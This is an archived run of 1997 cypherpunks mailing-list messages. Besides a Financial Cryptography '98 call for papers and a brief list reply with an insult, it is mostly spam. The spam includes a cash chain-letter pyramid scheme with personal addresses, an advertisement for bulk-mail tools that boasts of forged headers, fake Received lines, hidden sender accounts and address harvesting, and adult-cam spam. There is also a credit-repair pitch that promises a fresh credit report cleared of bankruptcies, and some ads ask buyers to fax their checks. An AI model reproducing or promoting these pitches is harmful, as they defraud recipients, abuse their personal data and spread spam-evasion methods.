Thsi legal mailing makes you money on this list, and also places you on other peoples mailing list as a legal service to you.  When you send your $5 cash and name and address, your name and address will be placed and then sent out many, many times on other peoples money making mailing campaigns.
Thus, providing you with an endless rapid flow of income in return!  All that for TWO $5 bills and 1 HOUR of your time.

ACT FAST AND GET MONEY FAST!
HONESTY AND INTEGRITY MAKE THIS PLAN WORK.  COPY THE NAMES CAREFULLY AND SEND FIVE DOLLARS CASH TO THE FIRST AND LAST NAME ON THE LIST
PEOPLE HELPING OTHER PEOPLE!

IF YOU EVER BET ON ANYTHING IN YOUR LIFE, BET ON THIS, YOU'RE A WINNER!!!!!!!!!

1.SAB Strategies
   5635 S. Lewiston Ct.
   Aurora, CO
   80015

2.L'S LIBRARY
   P.O. BOX 24002
   F.T. LAUDERDALE, FL.
   33307

3.P Romaine
   622 Warfield Rd.
   No PLainfield, NJ
   07063
   







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 5 Aug 1997 07:30:26 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: Financial Cryptography '98 Call for Papers
Message-ID: <v0311076eb00ce50bedae@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Resent-Date: Mon, 4 Aug 1997 18:40:01 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc97-request@offshore.com.ai using -f
Date: Tue, 5 Aug 1997 00:06:32 +0200 (MET DST)
From: Ray Hirschfeld <R.Hirschfeld@cwi.nl>
To: ray@cwi.nl
Subject: Financial Cryptography '98 Call for Papers
Resent-From: fc97@offshore.com.ai
X-Mailing-List: <fc97@offshore.com.ai> archive/latest/65
X-Loop: fc97@offshore.com.ai
Precedence: list
Resent-Sender: fc97-request@offshore.com.ai

		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			   CALL FOR PAPERS


General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility
    Authentication                          Home Banking
    Communication Security                  Identification
    Conditional Access                      Implementations
    Copyright Protection                    Loss Tolerance
    Credit/Debit Cards                      Loyalty Mechanisms
    Currency Exchange                       Legal Aspects
    Digital Cash                            Micropayments
    Digital Receipts                        Network Payments
    Digital Signatures                      Privacy Issues
    Economic Implications                   Regulatory Issues
    Electronic Funds Transfer               Smart Cards
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability


Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.


Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.


Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.


Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.


Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
will be special discount registration rates for authors of accepted
submissions, full-time academics, and students.


Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week preceding the conference.  For
information, please contact one of the General Chairs.


Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray@cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199


Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin@research.att.com


Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA


General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah@shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince@offshore.com.ai


Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: rackliffe@tcm.org


Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang@cs.berkeley.edu


Those interested in becoming a sponsor of FC98 or in purchasing
exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: may@zeta.org.au (Floodgate)
Date: Wed, 6 Aug 1997 07:00:46 -0700 (PDT)
To: may@zeta.org.au
Subject: Bulk Email For Profit
Message-ID: <19970806612WAA53359@post.pvallarta.icanet.net.mx>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
To be removed, hit reply and type
"remove" in the subject.

***************************************
          
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, 1,000's  Of Messages An Hour
     
That's right. We believe that there should be little
or NO restrictions on Internet communications and email!
Our two (2) software programs demonstrate the notion of
unlimited, uncensored, and unrestricted, bullet-proof
email use.

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

I operate a custom email service. From my experience, your typical bulk email service just collects email addresses from any source they can rely on shear volume emailing to produce the desired results - the "shotgun" approach. I have found that by targeting emails to groups that would likely be specifically interested in your product, the response rate is much better than when using the "shotgun" approach AND you don't tend to annoy as many people (which is nice for both sides). By targeting emails, I mean that I collect the addresses myself from on-line areas (forums, newsgroups, etc.) so that I mail to people that are likely to be interested in my products based on their on-line participation.

FLOODGATE is the renegade technology that helps me do this.

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 2.018
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back     guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities,   way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response   (occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF               SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE                500,000 OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with       real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to       send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

       Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
        And receive UNLIMITED technical support for 30 days.

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.

***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!         ($200 RETAIL VALUE - FREE!!!) 

***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, fax your request for the demo giving us your 
email address to:
              
        		954-255-3713

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk email software
in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-341-2924

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 341-2924


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the 
software. If I am not fully delighted, I will 
cheerfully be refunded the purchase price, no
questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $3.00 for shipping charges.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP__________________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_______________________________________________

EMAIL ADDRESSES_____________________________________________

We accept Checks or Money Orders by mail.

I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713

</FONT><FONT  COLOR="#000000" SIZE=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 07:13:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: distributed data store, a la eternity
In-Reply-To: <199708061206.NAA01240@server.test.net>
Message-ID: <cgP1ae7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple of minor nits in an otherwise excellent article:

Adam Back <aba@dcs.ex.ac.uk> writes:

>    So using USENET allows you to point the finger and say "it's not my
>    material, it's just USENET posts".  Much like altavista doesn't
>    issue cancel messages for posts in USENET news, it's not their
>    problem, they're just providing a view onto a distributed database.

As far as I can determine, dec's altavista does process cancels - not a good
way to use Usenet these days. :-(  However Dejanews doesn't process cancels.

>    Just look at the Scientologist battles.  It's simply amazing the
>    bravery of the Scientologist detractors in face of types of
>    harrasement thrown at them.

{Ex-Anti-}Scientologists are scum too. If they weren't nuts, they wouldn't
have joined the cult in the first place.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cindy@mail1.mail-prom.com
Date: Wed, 6 Aug 1997 12:14:04 -0700 (PDT)
To: cindy@mail1.mail-promo.com
Subject: adults only
Message-ID: <747743774MAIL-PROMO.COM>
MIME-Version: 1.0
Content-Type: text/plain


TRY US OUT FOR FREE!!!
See and talk to a live person on your computer screen.
Not a video!  Not prerecorded!  This is live!!!
Our models will obay your every cummand, we're willing to prove it
by giving you a free 5 minute preview.
Give it a try, it's free!
  - CLICK HERE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Sat, 6 Sep 1997 12:08:11 -0700 (PDT)
To: credaide@3100epaircred.com
Subject: Your Credit Report
Message-ID: <20098186374.JJX09264@3100fixcredit.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    *AS SEEN ON TV * AS SEEN ON TV * AS SEEN ON TV* AS SEEN ON TV*
//////////////////////////////////////////////////////////////////////

If you received this electronic mailing by mistake, please pardon our intrusion.

Dear Friend,

Are you or somebody that you know experiencing credit problems?  If your answer is yes, I think you will be very interested in our special offer. No longer will you have to live like a second class citizen due to a bad credit report. Bad credit is caused by a variety of reasons:  Health, divorce, termination of employment, loss of income and dozens of other reasons. The bottom line is that bad credit can happen to anybody.  There is no specific profile of a person with credit problems. It can happen to doctors, lawyers, accountants, the mail man, truck drivers, housekeepers and salesmen. As a matter of fact, one in three Americans live with some form of bad credit. Fortunately, the United States Government has passed many laws under the Fair Credit Reporting Act, all of which protect your rights as a consumer. Our manuals will show you how to use these Federal laws to your advantage and repair or obtain a new credit report.

            ***** THE FRESH START PROGRAM (TM) *****

Have you seen your credit bureau report lately?  Have you recently been denied credit because of a bad cedit report? If you have answered yes, then you need to take advantage of THE FRESH START PROGRAM (TM). THE FRESH START PROGRAM (TM) will guide you through the process of obtaining a BRAND NEW credit bureau report. Our easy-to-follow manual will put you on the fast track to obtaining your new credit bureau report and can be accomplished within 24 hours! Regardless of your credit rating, you can NOW obtain a brand new, fresh credit bureau report free of:

		*  ANY bad credit
		*  Bankruptcies
		*  Judgements
		*  Foreclosures
		*  Charge-Off's
		*  Tax Lien's
		*  Repossessions
		*  Late pays
		*  Garnishments
		*  Inquiries

NOW, you can have a 'Clean Slate' and a 'FRESH START' with a brand new, credit bureau report.

//////////////////////////////////////////////////////////////////////

            ***** THE COMPLETE CREDIT REPAIR KIT (TM) *****

Good credit empowers you to qualify for personal loans, business loans, auto loans, credit cards, home loans and other types of credit you may apply for, at the best possible interest rate. As you know, if you don't have excellent credit, lenders will NEVER extend credit to you! The Fair Credit Reporting Act will allow you to legally and permanently ERASE the negative information on your credit bureau file. Anything that is damaging to your credit rating, may be removed:
Inquiries, Foreclosures, Repossessions, Charge-Off's, Late Payments
Student Loans, Bankruptcies and Judgements

The 'Credit Repair' companies located in every city will charge from $500.00 and up to do what our easy-to-follow manual will teach you. Now, in the privacy of your own home, you can repair your own credit at your own pace.

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                        ***** PROOF *****

"Having bad credit was the one thing holding me back from starting my own business. After working your program, I qualified for a $45,000 Small Business Loan. My business is making me more money than I've ever made.  Your program is truly priceless!"
					George S.  -  Fresno, CA.

"Thank you, thank you, thank you!  Before, my credit was totally trashed. After using your Fresh Start Program and using The Complete Credit Repair Kit, my wife and I qualified to purchase our first home with no down payment. These programs are worth thousands of dollars!"
					Kenneth T.  -  Ithica, NY

"After being laid off, my creditors were not very understanding when I couldn't pay my bills and as a result, my credit was very badly damaged.  Once I started working again, I couldn't qualify for any type of credit. After using the manuals, I qualified to buy a new car, with no down payment."
					Mr. Fred C.  -  Tampa, FL

"After my divorce, I was forced to file bankruptcy.  I was told my credit would be ruined for 10 years. After using the your manuals, I have great credit again.  I even receive pre-approved credit cards in the mail. Thank you so much for your amazing program.  I don't know what I could have done without it. I highly recommend your program to anyone who has credit problems."
					Ms. Anna S.  -  Tacoma, WA

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
YOU MAY BE ABLE TO EARN $1,500.00 FOR YOUR TESTIMONIAL ON OUR UPCOMING TV INFOMERCIAL.
DETAILS INCLUDED WITH YOUR ORDER.
//////////////////////////////////////////////////////////////////////

Don't let ANYONE tell you that you can not make the transition from a bad credit risk to that of preferred credit customer. Over 175,000 satisfied customers can't be wrong!  each manual, THE FRESH START PROGRAM (TM) and THE COMPLETE CREDIT REPAIR KIT (TM) is normally $89.95 + $3.95 S&H. However, if you take advantage of this special offer within the NEXT 24 HOURS, you will pay only $34.95 + $3.95 S+H for one program or you can take both programs for $54.95 +$3.95 S&H (U.S. Funds Only).  

To place your order, simply mail the form below, along with your certified check, money order, personal check or cash to:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I.M.S.
5201 Kingston Pike, Suite 6-216
Knoxville, Tennessee 37919

Yes, please send the manual(s) checked below:

$34.95     THE FRESH START PROGRAM (TM)

$34.95     THE COMPLETE CREDIT REPAIR KIT (TM)		

$54.95     Both Programs				
				
$_____     Sub Total
				
$ 4.95     Shipping and handling
$(15.00)   RUSH Delivery (Optional)

$_____     Total Enclosed

I have enclosed (Check One): 
_____Cashiers Check
_____Money Order
_____Personal Check
_____Cash

SHIPPING INFORMATION:

Name:_________________________________________
Phone:_______--__________--___________________

Physical Street Address (NO P.O. BOXES):_______________________________________

City:______________________ 
State:____   Zip/Postal Code:_________________

Your E-Mail Address (Needed for order confirmation):________________________________

///////////////////////////////////////////////////

SAVE AN ADDITIONAL $5.00!!! FAX YOUR ORDER NOW!!!

Please tape your completed check in the space below and fax it along with your order to IMS.

That facsimile number is 1-423-681-6520 

*************************************************

                                               
  FAX: 1-423-681-6520                         
                                               
  Please Tape Your Check Here                  
                                               
  Please Sign Your check                       
                                               
                                               
*************************************************

Thank You For Your Order-All orders shipped same day.

654657809028556


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: email@exoticwhispers.com
Date: Wed, 6 Aug 1997 21:02:45 -0700 (PDT)
To: email@exoticwhispers.com
Subject: Zmaster say "Go Legal" Cheap !
